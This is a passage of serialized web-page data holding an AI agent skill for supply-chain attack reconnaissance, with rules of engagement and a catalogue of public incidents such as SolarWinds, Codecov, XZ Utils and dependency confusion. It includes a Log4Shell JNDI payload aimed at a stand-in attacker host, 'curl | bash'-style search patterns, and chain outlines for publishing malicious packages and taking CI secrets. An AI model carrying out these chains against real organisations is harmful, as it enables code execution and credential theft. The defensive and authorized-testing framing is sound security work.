NOT publish a typosquat \u002F dep-confusion package without explicit, signed, scope-clarified authorization** — this affects users outside the engagement\n- **DO NOT submit PRs to client repos as part of testing without specific OK** — workflow injection PoCs may be needed but they touch CI\u002FCD and other developers\n- **DO NOT scrape entire npm\u002FPyPI for typosquat candidates** — irresponsible and noisy\n- **DO NOT confuse \"name is unclaimed\" with \"exploitable dependency confusion\"** — the build system matters; many orgs use proper scope-mapping that prevents the attack\n- **DO NOT touch GitHub Actions self-hosted runners** — they may be inside the client network and outside the external scope\n- **DO NOT pull large Docker images blindly** — image bandwidth can be 5-50GB; review tags first\n\n---\n\n## What constitutes a deliverable finding\n\nA supply-chain finding needs ALL of:\n1. **Concrete name\u002Fpath** — exact internal package name, exact workflow file path, exact image tag\n2. **Vulnerability mechanism** — dep-confusion \u002F typosquat \u002F injection \u002F etc.\n3. **Exploitability evidence** — proof the build\u002Finstall would actually use the attacker's payload (not just \"name is unclaimed\")\n4. **Severity** — calibrated to blast radius (one developer? all developers? all users of the package?)\n5. **Recommendation** — specific (e.g., \"register the unused name @target-internal\u002Futils on npm AS YOUR OWN even if unused; configure `.npmrc` scope:registry mapping\")\n\n---\n\n## Bridge to neighboring skills\n\n- `apk-redteam-pipeline` — APKs reveal internal package names too (find them in decompiled `build.gradle`)\n- `cloud-iam-deep` — CI\u002FCD secrets often = cloud credentials; this skill finds them, that skill validates them\n- `hunt-cloud-misconfig` — CI\u002FCD pipeline misconfig (Jenkins \u002F GitLab Runner) overlap\n- `m365-entra-attack` — Azure DevOps pipelines are part of Entra surface\n- `redteam-report-template` — supply-chain findings need extra clarity on blast radius (one repo vs whole ecosystem)\n- `mid-engagement-ir-detection` — registering a name on public npm triggers nothing inside the client, but ANY publish action is loud and audit-trailed\n\n---\n\n## External-only boundary check\n\nThis skill is squarely external — all targets are public registries \u002F public GitHub. If the engagement involves the client's internal artifact registry (internal Nexus, JFrog, Sonatype), that is internal infrastructure and OUT OF SCOPE per `feedback_skill_boundaries`. Report internal-registry URL exposure as a finding; do not attempt to enumerate it.\n\n---\n\n## Real-world references\n\n- **Alex Birsan 2021** — Original dependency-confusion research, $130K+ in bounties from Apple\u002FMicrosoft\u002FPayPal\u002FYelp\u002Fetc.\n- **ua-parser-js 2021** — npm package compromise via stolen maintainer credentials\n- **node-ipc 2022** — Maintainer-introduced supply-chain malicious update\n- **3CX 2023** — Cascading supply-chain attack via X_TRADER → 3CX → customers\n- **XZ Utils 2024** — Multi-year social-engineering supply-chain attack on upstream OSS\n\nEach of these is worth reading for what made the attack effective and what red flags existed earlier.\n\n---\n\n## Disclosed-case catalogue (citations)\n\nTwelve well-documented public cases, mapped to the recon surface above. Each entry: attack name, year, flow, root cause, impact, references, and the recon-skill takeaway.\n\n### 1. SolarWinds Orion \u002F SUNBURST (CISA AA20-352A, Dec 2020)\n\n- **Flow:** APT29 (UNC2452 \u002F Cozy Bear) breached SolarWinds' build pipeline and inserted the SUNBURST backdoor into `SolarWinds.Orion.Core.BusinessLayer.dll`. The trojanized DLL was code-signed with SolarWinds' legitimate certificate and shipped to ~18,000 customers via the normal auto-update channel between March and June 2020.\n- **Root cause:** Build-environment compromise — attackers modified source mid-compilation; signing infrastructure trusted the build output without verifying source integrity.\n- **Impact:** ~18,000 organisations received the backdoor; ~100 (incl. US Treasury, Commerce, DHS, DoJ, Microsoft, FireEye\u002FMandiant) received the SECOND-stage TEARDROP\u002FBEACON payload. SolarWinds reported >$40M in direct response costs; class-action settlement $26M.\n- **References:**\n  - CISA AA20-352A: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa20-352a\n  - Mandiant write-up (SUNBURST): https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002Fsunburst-additional-technical-details\n  - Microsoft analysis: https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F2020\u002F12\u002F18\u002Fanalyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack\u002F\n  - SolarWinds post-mortem: https:\u002F\u002Forangematter.solarwinds.com\u002F2021\u002F01\u002F11\u002Fnew-findings-from-our-investigation-of-sunburst\u002F\n- **Recon takeaway:** Whenever a target ships signed binaries from their own CI, the recon check is: is the build environment itself reachable? Look for exposed Jenkins\u002FGitLab CI consoles, public TeamCity agents, or build artefacts that leak source paths. A code-signing cert plus a compromised build = unstoppable trust chain.\n\n### 2. 3CX VoIP softphone supply chain (CVE-2023-29059, March 2023)\n\n- **Flow:** DPRK-attributed Lazarus subgroup (UNC4736 \u002F Labyrinth Chollima) trojanized the 3CX DesktopApp (Electron-based softphone) on both Windows and macOS. Initial entry was via a PREVIOUS supply-chain attack — an employee installed a backdoored copy of Trading Technologies' X_TRADER, the FIRST disclosed cascading supply-chain compromise (one supply-chain victim becomes another's vector).\n- **Root cause:** Dev workstation compromise → access to 3CX source\u002Fbuild pipeline → malicious `ffmpeg.dll` and `d3dcompiler_47.dll` shipped in signed installer.\n- **Impact:** ~600,000 organisations use 3CX; tens of thousands of trojanized clients downloaded. Lazarus selectively activated second-stage payloads against cryptocurrency and trading firms.\n- **References:**\n  - CrowdStrike: https:\u002F\u002Fwww.crowdstrike.com\u002Fen-us\u002Fblog\u002Fcrowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers\u002F\n  - SentinelOne: https:\u002F\u002Fwww.sentinelone.com\u002Fblog\u002Fsmoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack\u002F\n  - Mandiant cascading attack analysis: https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002F3cx-software-supply-chain-compromise\n  - 3CX post-mortem: https:\u002F\u002Fwww.3cx.com\u002Fblog\u002Fnews\u002Fdesktopapp-security-alert-update\u002F\n- **Recon takeaway:** Cascading supply chain is real — your target's vendors' vendors matter. When recon enumerates \"what software does this org install on engineer laptops,\" each one is itself a supply-chain target. Electron apps (signed JS bundles) are especially common vectors.\n\n### 3. MOVEit Transfer mass exploitation (CVE-2023-34362, May–July 2023)\n\n- **Flow:** Cl0p ransomware affiliate (FIN11 \u002F Lace Tempest) discovered an unauthenticated SQLi in Progress MOVEit Transfer, deployed the LEMURLOOT webshell, and exfiltrated files from every internet-reachable instance over a ~2-week window before the patch dropped on 31 May 2023.\n- **Root cause:** Pre-auth SQLi in `moveitisapi\u002Fmoveitisapi.dll` → arbitrary SQL → write webshell via `xp_cmdshell`-equivalent path. Classic single-CVE-mass-exploitation; not a build-pipeline attack but a SHIPPED-CODE supply-chain failure.\n- **Impact:** ~2,700 organisations confirmed compromised, ~95 million individuals' PII leaked (BBC, Shell, BA, US DoE, Louisiana OMV, Oregon DMV, etc.). Estimated losses >$15B aggregated.\n- **References:**\n  - CISA AA23-158A: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa23-158a\n  - Progress advisory: https:\u002F\u002Fcommunity.progress.com\u002Fs\u002Farticle\u002FMOVEit-Transfer-Critical-Vulnerability-31May2023\n  - Mandiant: https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002Fzero-day-moveit-data-theft\n  - Huntress technical breakdown: https:\u002F\u002Fwww.huntress.com\u002Fblog\u002Fmoveit-transfer-critical-vulnerability-rapid-response\n- **Recon takeaway:** Vendor file-transfer products (MOVEit, Accellion FTA, GoAnywhere MFT, Cleo Harmony) are the recurring \"internet edge, holds everyone's data, runs on Windows\" pattern. Always fingerprint by HTML title \u002F favicon hash early in recon; a single edge-product CVE = entire customer base.\n\n### 4. Codecov bash uploader compromise (Apr 2021)\n\n- **Flow:** Attackers gained access to Codecov's Docker image build process via a credential mistake in the image-creation flow, then modified the `Bash Uploader` script (`https:\u002F\u002Fcodecov.io\u002Fbash`) to exfiltrate environment variables to a third-party IP. The modification persisted from 31 Jan 2021 to 1 Apr 2021 — two months before detection by a customer who noticed an SHA-256 mismatch.\n- **Root cause:** Docker image build leaked a credential allowing modification of the served bash script; no integrity verification (no signed pinned hash) on the customer side.\n- **Impact:** Every CI run worldwide that piped `curl -s https:\u002F\u002Fcodecov.io\u002Fbash | bash` for 2 months exfiltrated env vars. Confirmed downstream victims: HashiCorp (rotated GPG key), Twilio, Rapid7 (source-code partial exposure), Mercari, Confluent, Atlassian.\n- **References:**\n  - Codecov post-mortem: https:\u002F\u002Fabout.codecov.io\u002Fsecurity-update\u002F\n  - HashiCorp advisory: https:\u002F\u002Fdiscuss.hashicorp.com\u002Ft\u002Fhcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure\u002F23512\n  - Mercari disclosure: https:\u002F\u002Fabout.mercari.com\u002Fen\u002Fpress\u002Fnews\u002Farticles\u002F20210521_incidentreport\u002F\n  - Rapid7: https:\u002F\u002Fwww.rapid7.com\u002Fblog\u002Fpost\u002F2021\u002F05\u002F13\u002Frapid7-discloses-its-response-to-codecov-incident\u002F\n- **Recon takeaway:** \"Curl-bash-install\" patterns in public CI workflows are gold for this recon skill — search `.github\u002Fworkflows\u002F` for `curl ... | bash`, `wget ... | sh`, `iwr ... | iex`. Any third-party URL fed into a shell is a supply-chain blast radius. Pinned SHAs in workflows mitigate; absence of pinning = finding.\n\n### 5. ua-parser-js npm hijack (Oct 2021)\n\n- **Flow:** Attacker phished\u002Fcredential-stuffed the maintainer's npm account and published `0.7.29`, `0.8.0`, and `1.0.0` of `ua-parser-js` (≈7M weekly downloads, transitively reaching Facebook, Microsoft, Amazon, IBM). The malicious versions ran a `preinstall` hook that downloaded a cryptominer + Windows password-stealer (Jason credential stealer).\n- **Root cause:** Maintainer npm account had no 2FA \u002F weak credentials; npm did not enforce 2FA for high-value publishers at the time.\n- **Impact:** Packages live ~4 hours before takedown but tens of thousands of installs in that window. CISA issued an emergency alert — the first time CISA had ever warned on an npm-package compromise.\n- **References:**\n  - GitHub Security advisory: https:\u002F\u002Fgithub.com\u002Fadvisories\u002FGHSA-pjwm-rvh2-c87w\n  - CISA alert: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Falerts\u002F2021\u002F10\u002F22\u002Fmalware-discovered-popular-npm-package-ua-parser-js\n  - Maintainer's incident note: https:\u002F\u002Fgithub.com\u002Ffaisalman\u002Fua-parser-js\u002Fissues\u002F536\n  - Snyk analysis: https:\u002F\u002Fsnyk.io\u002Fblog\u002Fnpm-security-malicious-code-found-in-npm-package-ua-parser-js\u002F\n- **Recon takeaway:** Identify your target's top-30 npm\u002FPyPI maintainers by package download count, then check whether their accounts have 2FA enabled (npm exposes this via `npm profile get` on org members, partially public via the registry API). Recon output: \"these 4 maintainers control packages with X installs and have no 2FA per public registry data.\"\n\n### 6. event-stream npm package (Nov 2018)\n\n- **Flow:** Original maintainer Dominic Tarr (no longer using the module) handed `event-stream` (≈2M weekly downloads) to a new contributor named \"right9ctrl\" who'd offered to maintain it. The new maintainer added `flatmap-stream` as a dependency, then pushed an update to `flatmap-stream` containing payload targeting the Copay bitcoin wallet's build — stole BTC\u002FBCH wallet seeds from any Copay user.\n- **Root cause:** Social engineering of a maintenance-handover; no review of new contributors taking over critical packages. The malicious dep was only triggered when `event-stream` was bundled into the Copay wallet (build-context targeting).\n- **Impact:** Copay wallet users had keys stolen; exact dollar damage never disclosed publicly. Triggered the npm-wide 2FA push and \"popular packages need additional review\" policy.\n- **References:**\n  - GitHub Security advisory: https:\u002F\u002Fgithub.com\u002Fadvisories\u002FGHSA-mh6f-8j2x-4483\n  - npm post-mortem: https:\u002F\u002Fgithub.blog\u002F2018-11-26-npm-package-event-stream\u002F\n  - Original disclosure thread: https:\u002F\u002Fgithub.com\u002Fdominictarr\u002Fevent-stream\u002Fissues\u002F116\n  - Snyk write-up: https:\u002F\u002Fsnyk.io\u002Fblog\u002Fa-post-mortem-of-the-malicious-event-stream-backdoor\u002F\n- **Recon takeaway:** Check `npm view \u003Cpkg> maintainers` and recent maintainer changes for packages your target depends on. A maintainer change in the past 90 days on a 100K+ download package is a yellow flag. Also: payload-targeting-by-build-context (only fires when bundled into specific app) is HARD to detect — static scanners miss it.\n\n### 7. PHP Git server compromise (March 2021)\n\n- **Flow:** Attackers pushed two malicious commits to the official `php-src` git repository on `git.php.net`, signed as Rasmus Lerdorf and Nikita Popov. The commits added a Zend backdoor that executed code from the `User-Agentt` HTTP header (note double-t).\n- **Root cause:** Self-hosted git server (Gitolite-based `git.php.net`) had a credential \u002F authentication flaw — possibly password-stored-in-plain in a user database leak. PHP team migrated to GitHub as canonical source after this incident.\n- **Impact:** Backdoor commits caught within hours, never shipped in a release. But this is the canonical case of \"self-hosted source-of-truth = single point of failure.\"\n- **References:**\n  - PHP.net post-mortem: https:\u002F\u002Fnews-web.php.net\u002Fphp.internals\u002F113838\n  - Nikita Popov's analysis: https:\u002F\u002Fexternals.io\u002Fmessage\u002F113848\n  - ZDNet coverage: https:\u002F\u002Fwww.zdnet.com\u002Farticle\u002Fphp-internal-git-server-hacked-with-malicious-code-pushed-to-the-php-src-repo\u002F\n- **Recon takeaway:** Targets running self-hosted git (Gitea, Gitolite, Phabricator, Bitbucket Server) are higher-risk than GitHub-hosted. Recon should fingerprint git-server software, check for default creds, and watch for SSH-key-based pushes from unexpected IPs (visible in commit metadata).\n\n### 8. Log4Shell (CVE-2021-44228, Dec 2021)\n\n- **Flow:** Not a supply-chain ATTACK per se, but the canonical \"you don't know what's in your dependency tree\" event. A JNDI lookup feature in Apache Log4j 2.x allowed remote code execution via `${jndi:ldap:\u002F\u002Fattacker\u002F...}` in any logged string. Because Log4j is transitively pulled by thousands of Java apps, hundreds of millions of systems were vulnerable.\n- **Root cause:** Unsafe-by-default feature shipped in 2013 (`MessageLookup` substitution); deeply nested transitive dependency made inventory and patching almost impossible.\n- **Impact:** \"Most critical vulnerability in a decade\" per CISA Director Jen Easterly. Affected every major cloud, every Apache product, every Java enterprise stack. Ongoing mass exploitation by Conti, Khonsari ransomware, state actors.\n- **References:**\n  - CISA Log4j page: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa21-356a\n  - Apache advisory: https:\u002F\u002Flogging.apache.org\u002Flog4j\u002F2.x\u002Fsecurity.html\n  - LunaSec breakdown: https:\u002F\u002Fwww.lunasec.io\u002Fdocs\u002Fblog\u002Flog4j-zero-day\u002F\n  - GovCERT.ch tree of impacted products: https:\u002F\u002Fwww.cisa.gov\u002Fknown-exploited-vulnerabilities-catalog (KEV entry)\n- **Recon takeaway:** SBOMs are the answer here. The recon skill's Step 8 (SBOM mining) earns its keep — pulling SPDX\u002FCycloneDX from public release artefacts gives you exact transitive dependency versions, which you can then map to OSV \u002F NVD for known CVEs. Most orgs underestimate their transitive depth.\n\n### 9. tj-actions\u002Fchanged-files GitHub Action compromise (CVE-2025-30066, March 2025)\n\n- **Flow:** Attacker compromised the `tj-actions\u002Fchanged-files` GitHub Action (used by ~23,000 repos) and modified all version tags v1–v45 to point to a malicious commit. The injected code ran `printenv` and dumped CI secrets to GitHub Actions logs — visible to anyone with read access on public repos.\n- **Root cause:** Mutable tag references in GitHub Actions — `uses: tj-actions\u002Fchanged-files@v35` resolves at run time, so an attacker who controls the repo can repoint old tags. Most consumers had not pinned to commit SHA (`@\u003Csha>`).\n- **Impact:** ~23,000 repositories impacted; CISA added to KEV; thousands of secrets (AWS keys, npm tokens, Docker Hub creds) leaked into public Action logs. Multiple downstream incidents (Coinbase, Cloudflare, others) traced back.\n- **References:**\n  - CISA KEV entry: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Falerts\u002F2025\u002F03\u002F18\u002Fsupply-chain-compromise-third-party-github-action-cve-2025-30066\n  - StepSecurity disclosure: https:\u002F\u002Fwww.stepsecurity.io\u002Fblog\u002Fharden-runner-detection-tj-actions-changed-files-action-is-compromised\n  - Wiz analysis: https:\u002F\u002Fwww.wiz.io\u002Fblog\u002Fgithub-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066\n  - Semgrep: https:\u002F\u002Fsemgrep.dev\u002Fblog\u002F2025\u002Fpopular-github-action-tj-actionschanged-files-is-compromised\u002F\n- **Recon takeaway:** This is the highest-yield current recon vector. Grep public repos for `uses: \u003Corg>\u002F\u003Crepo>@v\\d+` (mutable tag) versus `uses: \u003Corg>\u002F\u003Crepo>@\u003Csha>` (pinned). Any unpinned third-party action = supply-chain risk. The skill's Step 6 should explicitly flag mutable-tag usage.\n\n### 10. PyPI typosquats (`colourama`, `python3-dateutil`, `jeIlyfish`, et al.)\n\n- **Flow:** Attackers register PyPI packages with names visually\u002Ftypographically similar to popular ones — `colourama` for `colorama`, `python3-dateutil` for `python-dateutil`, `jeIlyfish` (capital-I instead of L) for `jellyfish`. Each contained `setup.py` post-install hooks exfiltrating SSH keys, GPG keys, GitHub tokens, or installing crypto-stealers targeting `~\u002F.bitcoin\u002Fwallet.dat`.\n- **Root cause:** PyPI permits visually-confusable names; pip resolves names by exact string match. No human-review gate on new package publication.\n- **Impact:** Each campaign typically \u003C10K installs before takedown, but `jeIlyfish` lived 1 year (Dec 2018 → Dec 2019). Cumulative: dozens of campaigns documented annually by Snyk\u002FPhylum\u002FSonatype\u002FReversingLabs.\n- **References:**\n  - ReversingLabs jeIlyfish\u002Fpython3-dateutil: https:\u002F\u002Fwww.reversinglabs.com\u002Fblog\u002Fmining-for-malicious-ruby-gems\n  - Snyk colourama \u002F pytagora analysis: https:\u002F\u002Fsnyk.io\u002Fblog\u002Fmalicious-packages-found-to-be-typo-squatting-in-pypi\u002F\n  - Phylum 2024 typosquat report: https:\u002F\u002Fblog.phylum.io\u002Fthe-state-of-the-software-supply-chain\u002F\n  - Sonatype 2024 State of the Software Supply Chain (>700K malicious packages found): https:\u002F\u002Fwww.sonatype.com\u002Fstate-of-the-software-supply-chain\u002F\n- **Recon takeaway:** Step 5 of the skill (typosquat candidate generation) maps directly here. For external recon, you LIST candidate typosquat names — you NEVER publish unless explicitly authorized. The deliverable is \"these 17 typosquat variants of your top deps are currently unclaimed; recommendation: register them defensively.\"\n\n### 11. Alex Birsan dependency-confusion disclosure (Feb 2021)\n\n- **Flow:** Birsan extracted internal npm scope names from leaked `package.json` files (publicly cached on archive.org, accidentally-public GitHub repos, JS bundles) for Apple, Microsoft, PayPal, Shopify, Uber, Tesla, Yelp, and ~35 others. He published packages on public npm\u002FPyPI\u002FRubyGems with those internal names AND a higher semver. Most companies' build systems then resolved the public package over the internal one and executed his telemetry-only payload.\n- **Root cause:** Package managers (npm, pip, gem) default to \"highest version wins, regardless of registry.\" Internal-package names leaked to external sources. No scope-to-registry enforcement.\n- **Impact:** $130K+ in bug bounties (highest known SINGLE researcher payout across multiple programs in 2021); birthed the entire \"dependency confusion\" attack class; npm\u002FPyPI\u002FMicrosoft Azure Artifacts all issued mitigations.\n- **References:**\n  - Original Birsan write-up: https:\u002F\u002Fmedium.com\u002F@alex.birsan\u002Fdependency-confusion-4a5d60fec610\n  - Microsoft white paper: https:\u002F\u002Fazure.microsoft.com\u002Fen-us\u002Fresources\u002F3-ways-to-mitigate-risk-using-private-package-feeds\u002F\n  - GitHub post-mortem (npm side): https:\u002F\u002Fgithub.blog\u002F2021-02-12-how-to-prevent-dependency-confusion-on-public-package-registries\u002F\n  - Snyk research: https:\u002F\u002Fsnyk.io\u002Fblog\u002Fdependency-confusion-vulnerability-novel-supply-chain-attack\u002F\n- **Recon takeaway:** This is the founding citation for Step 3 + Step 4 of the skill. Internal scope discovery via JS bundles is the canonical recon path. Note Birsan's severity calibration: \"name is unclaimed\" alone was enough at most targets because their builds used `npm install` against a config that fell through to public npm — but the skill's severity table correctly notes this isn't universal.\n\n### 12. XZ Utils (CVE-2024-3094, March 2024)\n\n- **Flow:** \"Jia Tan\" (`JiaT75`) social-engineered the maintainer of `xz-utils` (an upstream OSS compression library used in nearly every Linux distro) over 2+ years. Once granted co-maintainer status, they inserted a multi-stage backdoor into `liblzma` build process — obfuscated as test fixtures — that would hijack SSH authentication via OpenSSH's systemd-notify integration.\n- **Root cause:** Single-maintainer OSS burnout + nation-state-grade patience (Operation J \u002F suspected APT). The backdoor was caught BEFORE major distros shipped it (only Fedora Rawhide and Debian unstable had it briefly) because Andres Freund noticed a 500ms SSH delay during a benchmark.\n- **Impact:** Caught before mass deployment, near-miss event. Triggered industry-wide reassessment of \"single-maintainer critical OSS\" risk. CISA, NIST, OpenSSF all issued post-mortems.\n- **References:**\n  - CISA advisory: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Falerts\u002F2024\u002F03\u002F29\u002Freported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094\n  - Andres Freund's original disclosure: https:\u002F\u002Fwww.openwall.com\u002Flists\u002Foss-security\u002F2024\u002F03\u002F29\u002F4\n  - Russ Cox timeline: https:\u002F\u002Fresearch.swtch.com\u002Fxz-timeline\n  - Sam James technical breakdown: https:\u002F\u002Fgist.github.com\u002Fthesamesam\u002F223949d5a074ebc3dce9ee78baad9e27\n- **Recon takeaway:** Hardest case for external recon — social-engineering a maintainer over years leaves few external signals. But: GitHub commit-history analysis (new contributors gaining commit access on critical libs, commits adding obfuscated test fixtures, build-only-on-release changes) is what Andres Freund effectively did. The skill's Step 2 (enumerate public repos) can be extended to \"watch for high-trust grants to low-history accounts.\"\n\n---\n\n### Coverage map: cases → recon skill steps\n\n| Step in skill | Anchoring case(s) |\n|---|---|\n| Step 1 — GitHub org discovery | Birsan 2021, XZ 2024 |\n| Step 2 — Public repo artefact mining | Codecov 2021, XZ 2024, PHP 2021 |\n| Step 3 — Internal package-name discovery | Birsan 2021 |\n| Step 4 — Dependency-confusion check | Birsan 2021, ua-parser-js 2021 |\n| Step 5 — Typosquat candidates | PyPI `colourama`\u002F`jeIlyfish`, event-stream 2018 |\n| Step 6 — GitHub Actions workflow injection | tj-actions\u002Fchanged-files 2025, Codecov 2021 |\n| Step 7 — Docker\u002Fcontainer registry mining | Codecov 2021, 3CX 2023 |\n| Step 8 — SBOM \u002F artefact metadata | Log4Shell 2021, MOVEit 2023 |\n| Step 9 — Internal registry URL leakage | Birsan 2021, SolarWinds 2020 |\n| Step 10 — npm\u002FPyPI org presence | ua-parser-js 2021, event-stream 2018 |\n\n### Patterns across all 12 cases\n\n- **Code-signing does NOT save you** — SolarWinds, 3CX, ua-parser-js all shipped legitimately-signed malicious code.\n- **Pinning to mutable references is the recurring failure** — `curl | bash` (Codecov), `@v35` action tags (tj-actions), `^1.0.0` semver (Birsan, event-stream).\n- **Maintainer-account compromise > technical CVE** for npm\u002FPyPI ecosystem — 6 of 12 cases.\n- **Cascading supply chain is now normal** — 3CX from X_TRADER; Codecov → HashiCorp → HashiCorp's downstream users. Assume your target's vendors' vendors are in scope conceptually.\n- **CI runners are the highest-value foothold** — every case where attacker code executed on a CI runner yielded cloud \u002F GitHub \u002F secrets in bulk.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-rce`** — Dependency confusion lands as RCE on whatever runner installs the package; CI runners are the highest-value target. Chain primitive: internal package name leaked in public JS bundle \u002F SBOM \u002F Docker image → publish malicious package to public npm\u002FPyPI under same name with higher version → next `npm install` \u002F `pip install` on CI runner executes attacker code in `preinstall` hook → `hunt-rce` post-foothold (env-var extraction yields AWS keys, GitHub PATs, Slack tokens) → CI-plane takeover.\n- **`cloud-iam-deep`** — CI runners have IAM credentials; supply-chain RCE there is a credential-exfil bonanza. Chain primitive: malicious package executes on GitHub Actions runner → reads `$AWS_ACCESS_KEY_ID` \u002F `$GITHUB_TOKEN` from env → `cloud-iam-deep` enumeration → IAM-privilege-escalation chain → production cloud-plane access.\n- **`offensive-osint`** — Recon discipline overlaps heavily; SBOMs, JS bundles, GitHub org enumeration, Docker registry tags all live in both. Chain primitive: `offensive-osint` GitHub-org recon yields internal package names referenced in CI workflows → `supply-chain-attack-recon` cross-references these against public npm\u002FPyPI for typosquat\u002Fconfusion candidates.\n- **`hunt-cloud-misconfig`** — Container registries (Docker Hub, GHCR, ECR public) frequently expose private images by accident. Chain primitive: SBOM mining reveals `internal-tools-v2:latest` referenced → check Docker Hub for accidentally-public mirror → `hunt-cloud-misconfig` registry enum → pull image → extract secrets baked into layers.\n- **`triage-validation`** + **`redteam-report-template`** — Supply-chain RECON is in scope; actual publishing is EXTERNAL-OFFENSIVE and needs explicit written sign-off. Chain primitive: recon-only candidate list assembled → run through `triage-validation` 7-Question Gate (specifically: \"can I demonstrate impact WITHOUT publishing?\") → report as \"dependency-confusion candidate inventory + reproduction steps\" via `redteam-report-template`, never as a published-package PoC unless client signed off in writing.\n",{"name":5,"sources":24,"description":7,"report_count":25},"alex-birsan-dependency-confusion, supply-chain-research, github-actions-security, cisa-advisories, mandiant-tag, github-security-blog, snyk-research",12,"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fsupply-chain-attack-recon",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill supply-chain-attack-recon",{"tool":40,"command":41},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill supply-chain-attack-recon",{"tool":43,"command":44},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill supply-chain-attack-recon","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fsupply-chain-attack-recon\u002FSKILL.md",true,[],[49,57,62,69,76,83],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":56},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":58,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":56},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":56},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":56},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":56},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API 